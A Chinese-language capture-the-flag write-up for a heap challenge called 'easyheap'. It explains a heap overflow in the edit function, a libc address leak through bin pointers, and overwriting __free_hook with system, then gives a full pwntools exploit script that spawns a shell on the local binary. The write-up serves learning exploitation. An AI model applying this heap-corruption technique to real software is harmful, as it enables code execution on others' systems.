0x01前言
比赛的时候问队里的大神,就高冷的回复了我一句0ctf babyheap,虽然当时做出来了,但缺的知识点有点多,事后N天抽空复现整理知识点
0x02题目
题目功能
Welcome to easy heap!
1.Create
2.Edit
3.List
4.Remove
5.Exit
Choice:
功能相当经典,分别实现了对内存空间的分配打印改写和free操作。
漏洞
edit的地方存在堆溢出,可以写任意长度。
保护机制
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
开启了PIE和RELRO,无法修改got表来劫持程序流,使用的是写malloc_hook,free_hook的方法。
题目的难点:\
1.leak libc地址
2.劫持程序流
leak libc
基础知识
虽然是很常见的方法但是之前缺少的知识点有点多,就又把linux的glibc的机制重新回顾了一下,small bin或者large bin在为空的时候fd和bk指向libc的地址。
malloc_init_state (mstate av)
{
int i;
mbinptr bin;
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}
#if MORECORE_CONTIGUOUS
if (av != &main_arena)
#endif
set_noncontiguous (av);
if (av == &main_arena)
set_max_fast (DEFAULT_MXFAST);
av->flags |= FASTCHUNKS_BIT;
av->top = initial_top (av);
}
在初始化的时候glibc molloc会将所有的Bin的指针指向自己,也就是说small bin或者large bin在为空的时候fd和bk指向libc的地址。
利用方法
与babyheap不同该题在申请每个chunk之前会先申请一个0x10大小的空间,加上head是大小为0x20,在edit和list的时候需要注意。\
leak思路
+-------+-------+-------+-------+
| |chunk0 | |chunk1 |
在对chunk1进行free操作以后再进行分配
+-------+-------+-------+-------+-------+-------+
| |chunk0 | |chunk1 | | chunk2|
通过chunk0修改chunk1的head为0x130
| |chunk0 | |chunk1 |chunk1 | |chunk2 |chunk2 |
free chunk1,free chunk2,然后分配一个0x80大小的空间就可以leak出libc的地址
劫持程序流
gef x/80x 0x5575bc44a000
0x5575bc44a000: 0x0000000000000000 0x0000000000000021
0x5575bc44a010: 0x0000000000000060 0x00005575bc44a030
0x5575bc44a020: 0x0000000000000000 0x0000000000000071
0x5575bc44a030: 0x6464646464646464 0x6464646464646464
0x5575bc44a040: 0x6464646464646464 0x6464646464646464
0x5575bc44a050: 0x6464646464646464 0x6464646464646464
在申请每个chunk之前会先申请一个0x10大小的空间,且这个chunk的最后8个字节储存了指向chun0的指针,通过堆溢出我们可以覆盖这个指针使其指向free_hook,从而直接调用edit改写free_hook
EXP
from pwn import *
context(log_level='debug')
p = process('./easyheap')
def create(size,string):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:\n')
p.send(string)
def edit(id,size,string):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('id:')
p.sendline(str(id))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:\n')
p.send(string)
def list():
p.recvuntil('Choice:')
p.sendline('3')
def remove(id):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil('id:')
p.sendline(str(id))
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
create(0x60,'a'*(0x60))
create(0x200, p64(0x130)*64)
create(0x200, '\n')
create(0x200, '\n')
create(0x200, '\n')
create(0x200, '\n')
create(0x200, '\n')
create(0x200, '\n')
remove(1)
create(0x40, 'b'*0x40)
create(0x100, 'c'*0x100)
payload1 = 'd'* 0x60 + p64(0) + p64(0x20) + p64(0) * 2 + p64(0) + p64(130)
edit(0,len(payload1),payload1)
remove(1)
remove(2)
create(0x80, '\n')
list()
p.recvuntil('id:1,size:128,content:')
data = u64(p.recvuntil('id')[:-2].ljust(8,'\x00')) - 0xa000000000000
print hex(data)
bin_offset = 0x3C4b78
libc_base = data - bin_offset
print hex(libc_base)
libc = ELF('./libc.so.6')
free_hook_offset = 0x00000000003c67a8
system_offset = 0x45390
system_addr = libc_base + system_offset
print hex(system_addr)
free_hook_addr = libc_base+free_hook_offset
payload = "/bin/sh"
payload +="\x00"*(0x200-len(payload))+p64(0)+p64(0x21)+p64(0x211)+p64(free_hook_addr)
edit(6,len(payload),payload)
payload = system_addr
edit(7,8,p64(system_addr))
launch_gdb()
remove(6)
p.interactive()
|